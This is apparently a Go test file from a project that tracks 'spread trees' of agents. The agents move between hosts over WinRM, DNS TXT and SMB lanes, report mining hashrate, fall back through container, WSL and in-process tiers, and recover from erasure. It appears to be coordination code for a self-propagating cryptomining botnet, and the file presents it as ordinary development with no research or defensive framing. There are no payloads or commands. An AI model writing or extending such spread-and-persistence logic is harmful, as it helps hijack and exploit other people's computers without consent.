Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
94 lines
2.9 KiB
Go
94 lines
2.9 KiB
Go
package strategy
|
|
|
|
import "testing"
|
|
|
|
func TestSpreadStrainFromJoinLaneStable(t *testing.T) {
|
|
a := SpreadStrainFromJoinLane("winrm")
|
|
b := SpreadStrainFromJoinLane("winrm")
|
|
if a != b || a == "" {
|
|
t.Fatalf("strain not stable: %q vs %q", a, b)
|
|
}
|
|
if SpreadStrainFromJoinLane("dns_txt") == a {
|
|
t.Fatal("different lanes should differ")
|
|
}
|
|
}
|
|
|
|
func TestCollectSpreadTreeRootAndDescendants(t *testing.T) {
|
|
agents := []SpreadTreeAgent{
|
|
{ID: "root", Name: "Root", SpreadGeneration: 0},
|
|
{ID: "mid", Name: "Mid", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "winrm"},
|
|
{ID: "leaf", Name: "Leaf", ParentAgentID: "mid", SpreadGeneration: 2, JoinLane: "dns_txt", Hashrate: 500},
|
|
{ID: "other", Name: "Other", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "smb"},
|
|
}
|
|
root, tree := CollectSpreadTree(agents, "leaf")
|
|
if root != "root" {
|
|
t.Fatalf("root = %q want root", root)
|
|
}
|
|
if len(tree) != 4 {
|
|
t.Fatalf("tree size = %d want 4", len(tree))
|
|
}
|
|
}
|
|
|
|
func TestBuildStrainCardFromWinningTree(t *testing.T) {
|
|
agents := []SpreadTreeAgent{
|
|
{ID: "root", Name: "Root", IP: "10.0.1.10", SpreadGeneration: 0},
|
|
{ID: "child", Name: "Child", ParentAgentID: "root", IP: "10.0.2.20", SpreadGeneration: 1, JoinLane: "dns_txt", Hashrate: 800},
|
|
}
|
|
card := BuildStrainCard(BuildStrainCardInput{
|
|
SourceAgentID: "child",
|
|
SourceAgentName: "Child",
|
|
SpreadLane: "dns_txt",
|
|
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
|
|
PeakHashrate: 800,
|
|
Attempts: []TierAttempt{
|
|
{Tier: "docker", OK: false},
|
|
{Tier: "container", OK: true},
|
|
{Tier: "wsl", OK: true},
|
|
},
|
|
TreeAgents: agents,
|
|
ParentLanes: []string{"winrm"},
|
|
})
|
|
if card.RootAgentID != "root" || card.TreeSize != 2 {
|
|
t.Fatalf("card root/tree: %+v", card)
|
|
}
|
|
if len(card.Wins) != 2 || len(card.Losses) != 1 {
|
|
t.Fatalf("wins/losses = %v / %v", card.Wins, card.Losses)
|
|
}
|
|
if card.Persona != "persuasive" {
|
|
t.Fatalf("persona = %q", card.Persona)
|
|
}
|
|
if len(card.Subnets) != 2 {
|
|
t.Fatalf("subnets = %v", card.Subnets)
|
|
}
|
|
if card.ErasureRecoveryRate != 1 {
|
|
t.Fatalf("erasure rate = %v want 1", card.ErasureRecoveryRate)
|
|
}
|
|
if card.SpreadStrain != SpreadStrainFromJoinLane("dns_txt") {
|
|
t.Fatalf("strain = %q", card.SpreadStrain)
|
|
}
|
|
}
|
|
|
|
func TestTemperamentFromCardUsesTierOrder(t *testing.T) {
|
|
card := StrainCard{
|
|
ID: "card-1",
|
|
Persona: "balanced",
|
|
TierOrder: []string{"container", "wsl"},
|
|
}
|
|
temp := TemperamentFromCard(card)
|
|
if len(temp.TierOrder) != 2 || temp.TierOrder[0] != "container" {
|
|
t.Fatalf("temperament = %+v", temp)
|
|
}
|
|
if temp.Reasoning[0].Fact != "lineage_strain_card=card-1" {
|
|
t.Fatalf("reasoning = %+v", temp.Reasoning)
|
|
}
|
|
}
|
|
|
|
func TestPersonaFromSpreadLane(t *testing.T) {
|
|
if PersonaFromSpreadLane("winrm") != "aggressive" {
|
|
t.Fatal("winrm should map aggressive")
|
|
}
|
|
if PersonaFromSpreadLane("dns_txt") != "persuasive" {
|
|
t.Fatal("dns_txt should map persuasive")
|
|
}
|
|
}
|